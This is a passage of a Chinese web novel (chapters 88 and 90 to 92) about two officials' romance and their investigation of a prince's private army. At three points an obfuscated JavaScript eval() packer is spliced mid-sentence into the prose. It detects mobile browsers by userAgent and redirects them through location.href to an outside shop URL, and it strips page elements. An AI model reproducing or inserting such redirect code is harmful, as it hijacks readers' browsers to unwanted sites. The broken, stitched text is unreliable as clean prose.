他瞬间清醒,一脸黑线:“大可不必。你一个大老爷们,穿什么裙子。” 谢伟恒却淡淡道:“我年幼时,曾被当成女孩养过一段日子,对穿裙子,倒是不陌生。” “嗯?” 燕修延一下子来了兴致,支起身子,眼睛亮晶晶地盯着他:“为什么?谁这么大胆子,敢把你当姑娘养?” 谢伟恒指尖轻点自己的唇,笑得勾人:“燕大人亲我一下,我就告诉你。” “你少糊弄我。” 燕修延伸手,一把捏住他的脸颊,把他的嘴捏成一张扁扁的鸭子嘴,“分明就是想骗我亲你,我偏不上当。” 话音一落,他翻身越过谢伟恒,直接跳下床:“睡一觉饿了,我去厨房找点吃的。” 比起别人把东西送到嘴边,燕修延更喜欢自己在厨房里翻找,那种意外寻到爱吃的点心的滋味,格外满足。 谢伟恒无奈失笑,也跟着下床:“我跟你一起去。” 两人一前一后,溜进厨房,一圈转下来,收获颇丰。 燕修延左手捧着一碗温热香甜的杏仁羹,右手拎着一只油光锃亮的大鸡腿,吃得满嘴喷香。 谢伟恒则提着一个食盒,里面满满当当装的全是他平日里爱吃的点心蜜饯。 燕修延啃完鸡腿,将骨头丢进空碗,拿起帕子擦了擦手指,满足地吁了口气。 可下一秒,他微微歪头,眉头轻轻蹙起。 总觉得……好像忘了一件什么很重要的事情。 88. 我又不是聋子 暮色刚漫过檐角,晚膳的余温还缠在指尖。 燕修延搁下筷子,舒服地往椅背上一靠,懒洋洋伸了个懒腰,骨节轻响。 “去书房挑两本剑谱瞧瞧,解解闷。” 话音刚落,他动作一顿,忽然想起什么似的,眉梢轻轻一挑。 谢小厮……该不会还在爬吧? 他还真在爬。 燕修延与谢伟恒缓步踱到书房外的廊下,远远就看见一道小小的背影,正以龟速一点点往前挪,手脚并用,笨拙又固执,像只不肯服输的小蜗牛。 燕修延忍不住轻笑一声,语气里带着几分戏谑:“可以啊你,居然真爬到现在。” 谢小厮好不容易蹭到地方,整个人往地上一瘫,四肢大敞,连喘气都带着颤。 掌心垫着的小棉垫磨得毛边翻卷,腿上的护膝也破了洞,露出里面泛红的皮肤。 他仰起头,喘着粗气,一字一顿:“我、爬、完、了!” 燕修延蹲下身,轻轻拍了拍他的肩膀,语气半是调侃半是认真:“你这人,脑子是不怎么灵光,毅力倒是难得。我倒好奇了,宁愿这么倒着爬,也不愿意我驾车,图什么?” 谢小厮累得眼皮直打架,脑子早已昏沉,话不经思考就冲口而出:“誓死捍卫……好色少爷,一切能占你便宜的机会!” 一句话落地,燕修延与谢伟恒同时一怔。 燕修延茫然转头看向谢伟恒:“他这话……什么意思?” 每个字都听得明白,连在一起,却教人摸不着头脑。 谢伟恒低笑一声,唇角勾起浅浅弧度:“那日你说我鸡贼又好色,他大约只记住了后面两字。” 燕修延猛地站起身,一脸无语望天:“但凡他抗揍一点,现在就不是躺在地上,是粘在墙上了。” 话音刚落,地上传来均匀的呼噜声。 谢小厮四仰八叉,睡得天昏地暗,连姿势都没换。 谢伟恒招手示意下人,轻声吩咐:“把他送回房去。” 下人轻手轻脚将人抬走,廊下重归安静。 两人转身步入书房,满架书卷墨香扑面而来。 燕修延随手抽了几本,又伸手去翻谢伟恒挑的书,一本本扫过书名,见都是正经典籍,才稍稍放下心。 谢伟恒由着他检查,等他收了手,却忽然从燕修延怀里抽出一本,指尖轻敲封面,笑意温温:“燕大人这般严以待人,宽以律己,怕是不太好吧?” 燕修延理直气壮,指着封面:“这是剑谱,正经剑法,谢大人还能看出什么不成?” 谢伟恒不言,随手一翻。 燕修延探头只看一眼,脸色骤然一变,声音都结巴了:“这、这、这不是剑法吗?!” 他手忙脚乱把书抢回来,“啪”地塞回书架,还慌乱地推了两本书挡在前面。 “我说你,平日不读圣贤书,尽看这些旁门左道?” 谢伟恒神色坦然,目光落在他泛红的耳尖上,声音低低的,带着勾子:“我总要多学些花样,好讨燕大人欢心,不是吗?” 燕修延一噎,半晌才憋出一句:“你可拉倒吧,还讨我欢心,明明是——你干什么!” 谢伟恒忽然上前一步,长臂一伸,轻轻勾住他的腰带。 两人距离骤然拉近,气息相缠。 他眼底笑意深邃,声音压得又低又哑:“燕大人当真……一点都不欢喜,也从未觉得**过?” 燕修延身子下意识后仰,慌忙移开视线,耳尖发烫:“说话就说话,靠这么近做什么?把你的爪子拿开。” 谢伟恒偏偏不退,轻声道:“我不。” 燕修延一愣。 谢伟恒向来顺着他,极少对他说一个“不”字。 下一刻,他被人稳稳抱起。 谢伟恒低头,在他脸颊轻轻一啄,软声笑道:“燕大人这般冷心冷情,我得多抱抱,才能捂热。” 燕修延一脸生无可恋,仰头望房顶。 造孽啊…… 谢伟恒将他轻轻放在书桌上,双手撑在他身侧,将人圈在怀里,语气慢悠悠:“夫君还没回答我方才的问题。” 燕修延抿唇,往后一缩,胳膊撑着桌面,想从另一边溜下去。 谢伟恒却轻轻按住他的腿,不紧不慢:“燕大人是不知如何回答,还是……羞于回答,嗯?” 那个尾音轻轻上扬,裹着温温的气息,擦过耳畔。 燕修延浑身一麻,耳朵发痒,心底像被羽毛轻轻扫过。 “嗯你大爷!” 他恼羞成怒,却又不敢太大声,“谢家规矩是你问我就得答?我偏不。” 谢伟恒不逼他,只轻声道:“既然如此,那我们现在便定一条新家规。” 燕修延眯起眼:“怎么,你想管我?” “从今往后,”谢伟恒目光温柔,一字一句清晰,“夫君问我任何事,我事事如实回答,绝不隐瞒。” 顿了顿,他又道:“至于我问夫君的,你愿意答便答,不愿答,便当作没听见。” 燕修延沉默半晌,憋出一句:“我又不是聋子。” 当作没听见? 哪有那么容易。 那些话会在脑子里打转,尤其是刚才那句。 今晚指不定要做什么香艳的梦。 干脆不睡了。 带上觅踪蝶,办事去。 两人迅速易容改装,赶在城门落锁前一瞬,策马出城。 夜色深沉,晚风拂面。 只不过—— 燕修延皱眉:“为何只骑一匹马?” 谢伟恒理所当然:“这样方便。” 燕修延气闷:“那你让我穿裙子,也是为了方便?” 谢伟恒轻笑:“以夫妻身份行事,才不引人注目。” 呸!放屁! 燕修延在心里狠狠唾弃谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646246|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟恒,也唾弃自己——被几声“哥哥”一哄,就真穿上了裙子。 真是太容易被这人牵着鼻子走。 他抬手,指尖一弹,一只莹蓝微光的觅踪蝶振翅飞出,在夜色里划出一道淡蓝弧线。 两人共乘一骑,慢悠悠跟在蝶影之后。 路上早已没了行人,万籁俱寂,只剩清晰的马蹄声,以及谢伟恒贴在他耳边的低低调笑。 “夜色这般好,唯有你我相伴,燕大人此刻可有什么想法?” 燕修延面无表情,一胳膊肘往后顶了顶:“别问我有什么想法,把你那些乱七八糟的念头,全给我吞回去——不,直接从脑子里扔出去。” 谢伟恒低笑,伸手撩起他一缕长发,缠绕在指尖,语气缱绻:“燕大人怎知我脑子里在想什么?” 燕修延冷哼:“反正没什么好东西。” “燕大人这般说,可真叫人心伤。” “呵呵。” 觅踪蝶越飞越远,前方隐约现出一座僻静庄子,门外立着守卫,人影晃动。 两人下马,将马拴在林间树上,借着浓黑夜色掩护,悄无声息摸到庄围墙边。 屏息静听,一队巡逻脚步声渐渐远去,周遭只剩虫鸣与风声。 燕修延身手利落爬上围墙,探头一扫,确认近处无人,纵身往下一跃—— “嘶啦——” 一声轻响,不小心踩到裙摆,还给踩碎了一块。 燕修延脸色一黑,转头狠狠瞪向谢伟恒,满眼控诉:这玩意儿穿着,半点都不方便! 谢伟恒弯腰捡起那片碎布,指尖摩挲了一下,小心翼翼收进怀中。 燕修延看得莫名其妙:“你收这个做什么?” 谢伟恒唇角一勾,笑意深邃:“说不定,日后能派上用场。” 不等他反应,谢伟恒横腰将他抱起,足尖一点,身形轻盈如燕,跃过高墙,稳稳落入院中。 两人屏息敛声,跟着觅踪蝶七拐八绕,最终停在一处僻静院落外。 里面传来白天里听到的壮汉声音。 “哈哈哈!你输了,掏钱掏钱!” “今儿手气真背,一把没赢!” “总赌钱有什么意思,不如去花楼快活!” “就你这嘴,漏得跟筛子似的,人家姑娘三言两语一哄,你什么都往外说,到时候脑袋都保不住!” “那买几个姑娘送进庄子也行啊!” “我听妆岚别苑的兄弟说,他们那儿真藏着姑娘!” “靠!合着就我们这儿没有?” “急什么,等事成之后,整个京城的姑娘都是咱们的!” “我对姑娘没兴趣——清一色自摸,糊了!掏钱掏钱!” ———————————————— 觅踪蝶:你俩好,你俩清闲,干活的全是我! 马:蝶兄,淡定淡定,我还驮着他俩呢,我都没说啥。 90. 朕要棒打鸳鸯!!! 燕修延嘴角几不可查地一抽,语气直白又嫌弃:“宁大人,你闲的吧。” 昨天才特意让人在茶楼散播的消息,如今看来效果显著——礼部尚书昨日定然去了那间茶楼喝茶。 自己这边累死累活,俸禄却不如他,越想越憋屈。 皇帝的赏赐暂且不论,单说月俸,就够让人心里堵得慌。 燕修延暗暗打定主意,回头定要找陛下哭穷、哭累,不捞点好处绝不罢休。 礼部尚书浑然不觉对方心里的小算盘,只当是同僚间的玩笑,抬手捶了捶胳膊,一脸疲惫:“我这几日一直在筹备陛下生辰事宜,忙得脚不沾地,累得很。” 燕修延只冷淡地“哦”了一声,半点安慰的意思都没有。 礼部尚书却没察觉他的敷衍,目光扫过燕修延眼下淡淡的青黑,又转头看向一旁气质沉静的谢伟恒,忽然一惊一乍地拔高声音:“呀!二位大人昨夜都没睡好?” 话音刚落,一旁的吏部尚书漠大人眼疾手快,一把拽住他的胳膊就往宫门方向拉。 “走了走了,上朝了,小嘴叭叭个没完没了。” 礼部尚书被拽得一个趔趄,满脸不乐意:“漠大人,你怎么动不动就打断我跟燕大人说话?” 吏部尚书压低声音,脚步加快,生怕后面的人听见这没遮没拦的话:“宁大人,你说他们两人没睡好,这话有歧义。” “歧义?什么歧义?” 宁大人清澈的眼睛里写满茫然,半点弯弯绕绕都没有。 吏部尚书干咳一声,眼神飘忽着移开,含糊道:“以后你就明白了。” “你这表情,跟我爹一模一样!” 礼部尚书歪着头打量他,还刻意放粗嗓音模仿,“‘等你成亲就知道了’——我爹每次都这么说!” 吏部尚书又是一声干咳,生硬地转移话题:“近日公务繁忙,大家都疲惫。等下了朝,我请你去听曲儿。” “好啊好啊!” 一听有曲儿听,礼部尚书瞬间把刚才的疑问抛到九霄云外,高高兴兴地跟着走了。 中书令走在后面,脸上的笑容细看会发现,他笑有些勉强。 他早已得知京郊庄子闹鬼的事,住在那里的私兵吓得魂不附体,一个个嚷嚷着要搬去妆岚别苑避难。 可妆岚别苑本就不大,哪里容得下那么多人,无奈之下,他只能连夜另寻住处安置,心力交瘁。 燕修延用胳膊肘轻轻戳了戳谢伟恒,下巴微扬,示意他看前方不远处的中书令。 “你上司的脚步,看着可有些沉重啊。” 谢伟恒抬眼淡淡扫了一眼,便收回目光,声音平静无波:“未戴上脚镣,还不到真正沉重的时候。” 燕修延勾了勾唇角,语气冷冽又笃定:“戴上脚镣,也沉重不了多久。” 中书令参与的可是谋逆重罪,一旦东窗事发,便是午门斩首的下场,哪里还有沉重的机会。 中书令似有所觉,莫名摸了摸脖颈,清晨的风穿堂而过,竟让他后颈泛起一阵凉意。 早朝之上,百官奏事,议事冗长。 燕修延困意如潮水般涌来,站在班中,脑袋一点一点,几乎要栽倒在地,眼皮重得抬不起来。 龙椅上的虞睿祥瞥了他一眼,对此早已见怪不怪。 这位燕大人上朝打瞌睡,早已是朝堂常态。 虞睿祥心里却惦记着昨日宫外传得沸沸扬扬的谣言,越想越好笑。 待朝会散去,虞睿祥特意留下谢伟恒和燕修延。 御书房内,檀香袅袅。 虞睿祥靠在龙椅上,开门见山,语气带着几分戏谑:“你们俩,谁怀了?” 他分明知道这是无稽之谈,是有心人散播的荒唐谣言,可就是忍不住想逗逗这两人。 燕修延顿时一噎,无语半晌:“……看来陛下昨日公务,一点都不繁忙啊。” 谢伟恒上前一步,神色恭敬,语气却带着几分坦然的笃定:“陛下,此乃假消息。假使男子真能有孕,那应当是臣。” 燕修延意外地挑了挑眉,没料到谢伟恒会说出这般话,一时有些怔愣。 虞睿祥同样讶异,他一直以为,在两人之间,是谢伟恒占主导。 燕修延怎么看都不像是在上风的那一个。 “陛下,你这什么眼神?” 燕修延当即不乐意了,指着地面,不满地嚷嚷,“瞧不起臣啊?信不信臣现在就地打滚!” 虞睿祥揉了揉发胀的太阳穴,头疼道:“朕什么都没说。” “陛下的眼神,什么都说了!” 燕修延理直气壮,伸手讨要,“臣心灵受创,没有一千两黄金,可治不好!” 虞睿祥看向谢伟恒,无奈笑道:“朕怎么觉得,燕卿比从前越发喜欢无理取闹了?” 如今开口都不提要银子,直接要黄金了。 想来想去,定是谢伟恒给惯的。 谢伟恒垂眸,语气恭敬又维护:“陛下,燕大人只是真性情罢了。” 虞睿祥忍不住开怀大笑,这谢伟恒,分明是睁着眼睛说瞎话。说是情人眼里出西施,倒再贴切不过。 笑罢,谢伟恒忽然收敛神色,语气郑重,瞬间将气氛拉回严肃:“陛下,昨夜臣与燕大人,在京郊一处庄子里,发现了晋王的私兵,另有一部分,应当藏在妆岚别苑。” 虞睿祥神色一正:“可知大约有多少人?” 燕修延当即摊摊手,一脸坦荡:“陛下问到点子上了——我们不知道。” 虞睿祥打量着他狡黠的神色,瞬间了然,这是不见兔子不撒鹰,没好处就不吐实言。 谢伟恒适时开口,替他圆了过去:“臣与燕大人进城后,未曾歇息片刻,便直接赶来上朝。” 燕修延连忙点头附和,揉着太阳穴装可怜:“困得脑子都糊涂了。” 虞睿祥笑骂一声:“朕今早上朝前,打了好几个喷嚏,就知道定是燕卿在心里念叨着跟朕要钱,果然没错。” 困得脑子不清楚,唯独要钱这件事,记得比谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646248|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚。 他摆了摆手,不再逗弄:“行了。你隔三差五跟朕讨要赏赐,真金白银一箱箱往府里搬,太过惹眼。今日便带你们二人,去朕的私库挑上两件宝贝。” 燕修延眼睛瞬间亮了,脸上的疲惫一扫而空,喜笑颜开,口风极快:“回陛下!庄子上大约有五六百人,至于妆岚别苑有多少,臣就不清楚了。” 谢伟恒在旁淡淡补充:“臣与燕大人,尚且不知妆岚别苑的具体位置。” 虞睿祥两眼一瞪,随即失笑,指着谢伟恒道:“好你个谢伟恒,如今也跟修延一起,跟朕狼狈为奸了!” 燕修延立刻嬉皮笑脸地凑上前:“陛下这说的哪里话,臣和谢大人,分明是夫夫情深。” “哦?”虞睿祥换了个姿势,指尖轻点桌面,故作怀疑,“朕怎么瞧不出来?朕看修延同伟恒,生疏得很。本想着,若你二人当真感情深厚,朕便再多让你在私库里多拿一件。” 燕修延一听还有额外好处,身体立刻往谢伟恒身边凑,语气急切:“臣和谢大人感情好着呢!” 虞睿祥摇头:“朕瞧着不像。” 燕修延偷偷在身后捏了捏谢伟恒的手,飞快地使了个眼色,示意他赶紧配合表现一下。 谢伟恒心领神会,微微侧身,学着燕修延的样子,两人肩头相靠,头挨着头,刻意摆出亲密的模样。 虞睿祥强忍着笑意,继续逗弄:“朕怀疑,你二人私下,连手都没亲过。” 燕修延一脸疑惑。 手,没亲过……牵倒是经常牵。 哦,对了,手原来还可以亲。 他想起谢伟恒平日里,就总喜欢轻轻咬他的指尖。 心念一转,燕修延眼底闪过一丝狡黠——干脆给陛下表演个大的,等会儿就能名正言顺多拿一件宝贝。 他抬手,一把抓住谢伟恒的手,不等对方反应,微微仰头,朝着谢伟恒的脸颊凑了过去。 温热柔软的触感,轻轻落在脸颊上。 谢伟恒周身一僵,眼中先是闪过一丝惊愕,随即便被浓得化不开的笑意填满,目光温柔地落在眼前人身上,再也移不开。 御座上的虞睿祥也惊住了。 他原以为燕修延只是贪财,却没料到,竟能做到这个地步。 不对……定是这小子早已对谢伟恒生了情意,只是自己还懵然不知罢了。 虞睿祥意味深长地看向谢伟恒,心里暗道:朕可是帮了你一个大忙。 可谢伟恒全程目光紧锁燕修延,压根没留意到皇帝的眼神。 虞睿祥:“……” 朕现在就想棒打鸳鸯,棒打鸳鸯啊! 算了,还得留着这对鸳鸯替他办事呢。 燕修延亲完,一只手握着谢伟恒的指尖,另一只手抬起,比了个清清楚楚的“四”。 意思明明白白——要拿四件宝贝。 虞睿祥看着他那副得了便宜还卖乖的模样,嘴角一抽,心里默默咬牙:忽然又想棒打鸳鸯了,修延看上去也太欠揍了点。 91. 带你凯旋,我十里相迎 一想到晋王那数万私兵就蛰伏在京郊,虞睿祥端着茶盏的指尖微微一紧,眉宇间凝起沉沉冷意。 卧榻之侧,岂容他人酣睡。 满朝文武,竟无一人将这等心腹大患如实禀报,要么是眼瞎心盲,要么是心有二意。 无论是哪一种,都足够让帝王动怒。 燕修延却半点没有御前紧绷的模样,整个人松松垮垮地瘫在椅子里,肩背斜斜靠着扶手,一副漫不经心的懒散样子,仿佛殿中那点凝重气压,吹口气就能散了。 “陛下不必忧心。” 他慢悠悠开口,语气里带着几分漫不经心的笃定,“柳岚早给他们备了点好东西。” 虞睿祥眉峰一蹙。 晋王私兵分批入京,人数渐多,早已在京中引起暗中注意。 若是这般大张旗鼓调动人马,朝中官员却无一人上报,不管是未曾察觉,还是刻意隐瞒,这京兆尹,也该换人坐坐了。 真到了陛下生辰那日,晋王在大殿之上振臂一呼,底下应者寥寥,甚至无人敢应,那场面,想想都解气。 燕修延脑中自行勾勒出那幅狼狈闹剧,唇角忍不住往上弯,眼底漾开几分幸灾乐祸的笑意。 “至于晋王那批私兵。” 他指尖轻点着扶手,语气轻松得像在谈论谁家的杂役,“能用的,直接充入军营,整编操练;不能用的,打发去边关开荒屯田。” 白得的劳力,不用白不用。 虞睿祥神色一沉,语气冷了几分:“他们参与谋反,按律当斩。” 燕修延摊了摊手,一脸无所谓:“臣只是随口一提。杀头不过是手起刀落,干净利落。可这么多青壮劳力,拿去开荒,种出来的粮食,能养活边关多少将士?” 那可是五千人。 他当初不过带着三百死士,便从宫门口一路血杀,直抵先帝寝殿。 可换成晋王,就算给他五万精兵,也不过是一盘散沙,从上到下,无谋无断,不过是乌合之众。 虞睿祥自然也看透了这一点,压下心头杀念,转而问道:“柳岚究竟下了什么药?” 燕修延忽然笑起来,那笑容带着几分狡黠,几分不怀好意,看着竟有些贱兮兮的:“可不是什么温和的东西。” 虞睿祥看着他这副模样,表情也微妙地变了。 原本他已是动了立刻诛杀晋王的心思,不愿再多等一日,看那跳梁小丑表演。 可此刻,心底竟莫名生出几分期待。 “柳岚做得不错。” 虞睿祥颔首,“赏银百两。朕会再派一队暗卫,散布京郊,盯紧异动,绝不能出半点差错。” 燕修延点头应下:“臣与谢大人,明日再出城一趟,去妆岚别苑查探一番。” 虞睿祥却直接竖起两根手指,语气不容置疑:“今日就去。朕再多给你两件信物,遇事方便行事。” 妆岚别苑底细不明,晋王私兵主力未到,他一日不摸清,便一日不能安枕。 “一句话的事儿。” 燕修延一拍胸脯,豪气干云,“陛下放心,臣今晚便是不睡觉,也定把妆岚别苑摸得底儿朝天!” 虞睿祥无奈摇头,带着燕修延与谢伟恒,往自己的私库而去。 这地方,燕修延早已不是第一次来,熟门熟路,跟回自己家似的。 一进私库,满眼珠光宝气,奇珍异宝琳琅满目。 燕修延立刻来了精神,熟稔地拉过谢伟恒的手腕,兴致勃勃地给他介绍。 国库所藏,多是各地进贡的制式珍宝,而这私库,才是虞睿祥真正的心爱之物。 “你们文人不都偏爱字画书法?” 燕修延压低声音,像个带着兄弟偷东西的顽童,“看看有没有中意的,今天一并拿走。” 虞睿祥站在一旁,看着燕修延那副轻车熟路、跟来进货似的模样,忍不住揶揄:“看不出来,修延倒是挺疼伟恒。” 燕修延大喇喇一抬手,直接揽住谢伟恒的肩膀,笑得坦荡:“那是自然,自己的媳妇儿,自然要自己疼。” 虞睿祥失笑摇头。 分明是拿朕的宝贝,去讨自家媳妇儿欢心。 他目光在两人之间一转,心里暗自思忖——谢伟恒这般气度风华,当真居于下位? 怎么看都不像。 姑且,就信了修延这张嘴吧。 谢伟恒没去看那些字画,反倒在一排玉饰前停住,拿起一只雕花木盒。 打开一看,里面静静躺着一串玉石珠串,颗颗圆润饱满,大小堪比鹌鹑蛋,质地温润,色泽极佳。 “拿字画,倒不如拿这个实在。”谢伟恒淡淡道。 燕修延立刻投去一个“上道”的眼神。 这珠串,一看就值钱。 虞睿祥望着那串珠串,忽然笑了。 他算是看明白了,这两人之间,究竟谁才是真正拿主意的那个。 修延,不过是嘴上逞能罢了。 最终,燕修延挑了六件宝贝,不挑样式,不挑雅致,只挑最值钱的。 他高高兴兴捧着六个锦盒,心满意足地跟着谢伟恒出宫。 虞睿祥望着他的背影,轻轻摇头。 修延贪,却贪得直白。他要的是金银财宝,是开疆拓土,从无半分觊觎皇权的心思。 而谢伟恒,要的只有两样——修延,以及谢氏一族的安稳繁荣。 至于他自己…… 虞睿祥摊开掌心,再缓缓握紧。 他要的,是开创一代盛世,扩疆土。 安百姓,让四夷宾服,万国来朝。 回到谢府。 “我原先还以为,陛下对晋王养私兵一事,并未放在心上。” 燕修延一边拆锦盒,一边啧啧称奇,爱不释手地摩挲着里面的珍宝。 “谁知道那脸色,说变就变,分明是动了杀心,半点不顾及晋王横死京城的后患。” 谢伟恒拿起那串玉石珠串,指尖轻轻拂过温润的玉面,转身走到床头,轻轻一按,暗格缓缓打开。 “陛下动杀心,不在晋王谋反,而在私兵入京,他却一无所知。”谢伟恒将珠串放入暗格,“这是帝王大忌。” 燕修延见他宝贝得紧,随口打趣:“放这里,就不怕家里进贼?” 谢伟恒没回头,只朝他招了招手:“过来。” 燕修延好奇地凑过去,伸头一看,瞳孔微缩。 那暗格之内,竟还藏着一层夹层,精巧隐蔽,若非亲眼所见,绝难察觉。 “谢大人,可以啊。”燕修延啧啧称奇,“狡兔三窟,藏得够深——” 话音未落,手腕猛地一被拉住。 谢伟恒轻轻一拽,便将人带倒在床上。 他俯身而下,手掌稳稳按住燕修延的后颈,温柔却不容拒绝地低头,吻住了那张还在喋喋不休的嘴。 唇瓣相触的瞬间,燕修延整个人都僵了一下。 “谢大人不讲武德。” 他喘息着,手抵在谢伟恒肩头,腰腹微微用力,一个轻巧翻身,反将人压在身下,居高临下看着他,“你要是带兵,铁定是个擅长偷袭的好手。” 谢伟恒仰躺在床榻上,眉眼温和,唇角噙着浅浅笑意,抬手轻轻抚过燕修延颈侧温热的肌肤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646249|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音低柔得像晚风:“我不会带兵。” “你掌兵,我做你的后盾。”他望着燕修延的眼睛,一字一句,认真无比,“待你凯旋那日,我便在城门外,十里相迎。” 那目光太温柔,太专注,像一潭深泉,将人轻轻溺入其中。 又或许,是他的声音太过蛊惑人心。 燕修延心头一乱,脑子一热,竟鬼使神差地伸出双手,捧住谢伟恒的脸,微微偏头,轻轻吻了下去。 很浅,很轻,蜻蜓点水一般,一触即离。 却像一簇火星,落在干燥的柴草上,瞬间点燃。 谢伟恒的眼底,骤然亮起灼人的光。 他没有顺势加深这个吻,只是手臂一收,用力将燕修延紧紧揽入怀中。 两人胸膛紧紧相贴,隔着一层薄衣,清晰地感受到彼此剧烈的心跳,一下,又一下,撞得人心头发烫。 谢伟恒闭上眼,轻轻喟叹。 他所求的,原来早已得到。 就在此刻,就在他的怀里。 燕修延把脸埋在谢伟恒颈窝,脸颊烫得厉害,心跳快得不像话,久久没有平复。 这与在御书房里,陛下面前讨要宝贝的那一吻截然不同。 没有算计,没有假意,没有目的。 心底翻涌的情绪纷乱如麻,他已不想再细究,自己究竟为何会主动亲吻谢伟恒。 一室安静,只剩彼此的呼吸与心跳。 良久,燕修延脸上的热度渐渐退去,他闷闷地抬起头,故作轻松地转移话题:“你不累啊?一直这么抱着。” 谢伟恒指尖轻轻捏了捏燕修延发烫的耳垂,声音温柔:“你不重。” “你不累,我累。” 燕修延嘀咕一声,从他身上爬起来,弯腰从床头暗格里掏出一把铜钥匙,“我还有宝贝没放好,得去库房收起来。” 怀里一空,谢伟恒半垂着眼帘,指尖微微蜷了蜷,空落的暖意还残留在掌心。 燕修延见他一副恹恹的模样,伸手戳了戳他的额头:“起来干活,帮我拿两个盒子。抱了你这么久,还耷拉着眼皮?” 谢伟恒缓缓抬眼,眼底笑意重新漾开,温顺地伸手,接过燕修延递来的锦盒。 两人一前一后,走进库房。 满室珠光宝气,映得人眼都花了。 燕修延看着眼前堆成小山的珍宝,每次进来,都觉得自己像一只掉进米缸里的老鼠,满心都是满足。 他随手拿起一柄镶嵌着美玉的匕首,‘噌’地一声拔出,刃身寒光凛冽,锋利无比:“其实在御书房的时候,我还有个主意没说。” 燕修延把玩着匕首,漫不经心道,“若是真要杀晋王,让他死在自己老丈人的府上,栽个通敌叛国的罪名,也不失为一着好棋。” 谢伟恒伸手,轻轻按住他的手腕,将匕首推回鞘中,语气沉稳:“陛下已是弑君父、夺帝位而来,若再亲手诛杀晋王,世人眼中,他便是嗜杀成性、不顾手足之情的暴君,名声再难挽回。” 燕修延把匕首放回原处:“行吧,那就不急着杀他。” 他笑得眉眼弯弯,眼底闪烁着精明的光。 晋王这人,还挺值钱的,留着,还能多换几次赏赐。 ———————————————— 燕修延:钱到位,开疆扩土不成问题 谢伟恒:给我夫君的钱到位,开创盛世?一切都好说 虞睿祥:朕怎么记得谢家不缺钱啊 燕修延:有钱不要王八蛋嘛 谢伟恒:就是就是 虞睿祥:朕要棒打鸳鸯,棒打鸳鸯啊! 92. 万恶的有钱人 燕修延指尖在羊皮纸上飞快划动,眉梢一挑,已然瞧出其中关窍。 “妆岚别苑离那处庄子远得很。” 他点了点纸上两处标注,又分别指向京城两座城门,“两处地方,刚好对着两个城门,晋王倒是打得一手好算盘。” 燕修延收回手,往椅背上一靠,语气里带着几分毫不掩饰的自傲:“不是我自夸,陛下当年还是皇子时,若有晋王一半的钱财与私兵,登基之路,能早好几年。” 一旁的谢伟恒望着他,神色忽然微微一黯,几分不易察觉的遗憾落在眼底。 燕修延一眼瞥见,伸手轻轻戳了戳他的眼角,好奇道:“你这是什么表情?” 谢伟恒轻轻叹了一声,语气里带着几分后知后觉的惋惜:“当时,我该多在钱财上为陛下筹谋助力。” 那样,他也能早几年,把眼前这人娶回家。 那时满心满眼,都只想着替陛下暗中拉拢朝臣、搜集情报,反倒忘了,银钱亦是成事的捷径。 燕修延立刻板起脸,一本正经地教育他:“那可是个无底洞,亏得你没想到。” 他伸手点了点谢伟恒的胸口,“你自己说的,你的钱全都归我管,可不能把我的钱拿出去随便散财。” 谢伟恒被他一本正经的模样逗笑,唇角弯起温柔的弧度:“那……敛财可以吗?” 燕修延眉梢一扬,笑得狡黠又坦荡:“当然可以,多多益善。咱们俩配合好了,悄摸儿的,能把陛下私库都给搬空。” 而此刻御花园中,热风拂过花枝。 虞睿祥负手闲逛,指尖把玩着两枚镂空雕花金珠,冰凉的金属触感落在掌心,不知怎的,心头莫名一跳,总觉得这两枚金珠,怕是跟不了自己多久。 妆岚别苑背靠青山,山势连绵,草木葱郁。 据手下打探,山上有一汪天然清泉,水流蜿蜒而下,别苑中人日常吃水,多半取自这山泉水。 山泉水,好东西。 燕修延眼底闪过一抹坏笑,这次,他打算玩点新花样。 总装神弄鬼,多无趣。 燕修延特意寻了柳岚,要来两大瓶颜色浅淡的药粉,揣在怀中。 他看向谢伟恒时,笑得贼兮兮:“谢大人,猜猜这药粉有何用处?” 谢伟恒配合地摇了摇头,目光温软:“还请燕大人替我解惑。” 燕修延凑近几步,抬手挡在唇边,凑到他耳边低声细语。 温热气息拂过耳畔,谢伟恒耳尖微热,听完后莞尔一笑,轻声叹道:“燕大人颇有巧思。” 两人避开正门,绕到另一处山脚,悄无声息往半山腰摸去。 走了片刻,燕修延才猛地一拍额头,后知后觉想起一桩事:“坏了,这山这么大,上哪儿找泉水去?” 早该把沥老带上,他会驭兽,指挥几只鸟兽寻水源,再简单不过。 要么把大白带上也行……不行,大白身形惹眼,一出现便会暴露。 正懊恼间,谢伟恒轻轻抬手,指向一侧林间:“这边。” “我刚才看见鸟雀往那边飞,还有野兔往此处奔去。” 